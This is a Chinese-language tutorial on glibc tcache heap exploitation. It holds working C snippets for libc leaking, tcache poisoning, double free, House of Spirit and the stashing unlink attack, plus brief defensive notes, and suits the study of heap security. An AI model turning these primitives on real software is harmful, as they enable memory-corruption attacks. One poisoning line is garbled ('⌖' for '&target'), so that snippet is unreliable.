Tcache attack
字数 1216 2025-08-25 22:59:02
Tcache Attack 技术详解
1. Tcache 基础机制
Tcache (Thread Local Caching) 是 glibc 2.26 之后引入的一种性能优化机制,它牺牲了部分安全检查以提高堆管理器的性能。
1.1 Tcache 基本结构
- 管理结构:每个线程默认使用64个单链表结构的bins
- 容量限制:每个bin最多存放7个chunk
- 大小范围:64位系统上从0x20到0x410,16字节递增
- 链表特性:先进后出(FILO),类似fast bin
- 标记位:prev_inuse标记位不会被清除,因此不会发生合并
1.2 关键数据结构
tcache_entry
typedef struct tcache_entry {
struct tcache_entry *next;
} tcache_entry;
- 用于链接空闲的chunk
- next指针指向下一个大小相同的chunk(指向用户数据部分)
tcache_perthread_struct
typedef struct tcache_perthread_struct {
char counts[TCACHE_MAX_BINS]; // 每条链上chunk数量
tcache_entry *entries[TCACHE_MAX_BINS]; // 每条链的头部指针
} tcache_perthread_struct;
- 位于堆段起始位置
- size一般为0x251
#define TCACHE_MAX_BINS 64
1.3 执行流程
- 首次malloc:分配0x251大小的内存存放tcache_perthread_struct
- 释放chunk:
- size < small bin size时,先进入fastbin/unsorted bin
- 然后放入对应tcache bin,直到填满(7个)
- tcache满后直接放入fastbin/unsorted bin
- 申请chunk:
- 优先从tcache中获取
- tcache为空时,从其他bin导入到tcache(顺序会反转)
- 之后从tcache中分配
2. Tcache 攻击技术
2.1 绕过Tcache泄露libc
方法一:填满tcache后利用unsorted bin
long long *ptr[7];
long long *a = malloc(0x80);
for (int i=0; i<7; i++) ptr[i] = malloc(0x80);
for (int i=0; i<7; i++) free(ptr[i]);
free(a); // 此时a进入unsorted bin
printf("libc addr is %llx\n", (long long)a[0]); // 泄露main_arena地址
方法二:直接分配大chunk
long long *ptr = malloc(0x410);
malloc(0x10); // 防止合并
free(ptr);
printf("leak libc addr is %p\n", (long long)ptr[0]);
利用calloc绕过
void *ptr[8];
for (int i=0; i<8; i++) ptr[i] = malloc(0x10);
for (int i=0; i<8; i++) free(ptr[i]); // 前7个进tcache,第8个进fastbin
calloc(1, 0x10); // 直接从fastbin获取
2.2 Tcache Extend
通过修改chunk size实现扩展:
long long *p1 = malloc(0x80);
long long *p2 = malloc(0x20);
p1[-1] = 0xa1; // 修改p1的size
free(p1); // 释放扩展后的chunk
p1 = malloc(0x90); // 重新申请更大的chunk
2.3 Tcache Poisoning
通过修改tcache的fd指针实现任意地址分配:
size_t target;
intptr_t *a = malloc(128);
intptr_t *b = malloc(128);
free(a);
free(b);
b[0] = (intptr_t)⌖ // 修改fd指针
malloc(128);
intptr_t *c = malloc(128); // 此时c指向target
2.4 Tcache Dup (Double Free)
利用tcache未做安全检查实现double free:
int *a = malloc(8);
free(a);
free(a); // 双重释放
void *b = malloc(8);
void *c = malloc(8); // b和c将指向同一地址
2.5 Tcache House of Spirit
通过伪造chunk实现任意地址分配:
unsigned long long fake_chunks[10];
fake_chunks[1] = 0x40; // 伪造size
unsigned long long *a = &fake_chunks[2];
free(a); // 释放伪造的chunk
void *b = malloc(0x30); // 分配到伪造的chunk位置
2.6 Tcache Stashing Unlink Attack
利用small bin放入tcache时的检查缺失:
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
stack_var[3] = (unsigned long)(&stack_var[2]); // 伪造bk指针
// 分配和释放多个chunk填满tcache和small bin
for(int i=0;i<9;i++) chunk_lis[i] = malloc(0x90);
for(int i=3;i<9;i++) free(chunk_lis[i]);
free(chunk_lis[1]); free(chunk_lis[0]); free(chunk_lis[2]);
malloc(0xa0); malloc(0x90); malloc(0x90); // 清空部分bin
chunk_lis[2][1] = (unsigned long)stack_var; // 修改bk指针
calloc(1,0x90); // 触发攻击
unsigned long *target = malloc(0x90); // 分配到stack_var
3. 防御与注意事项
- 较新版本的glibc已修复部分tcache漏洞
- 实际利用时需考虑:
- 堆布局
- 版本差异
- 其他安全机制(如ASLR)
- 防御措施:
- 更新glibc版本
- 使用强化版的堆分配器
- 启用更多安全检查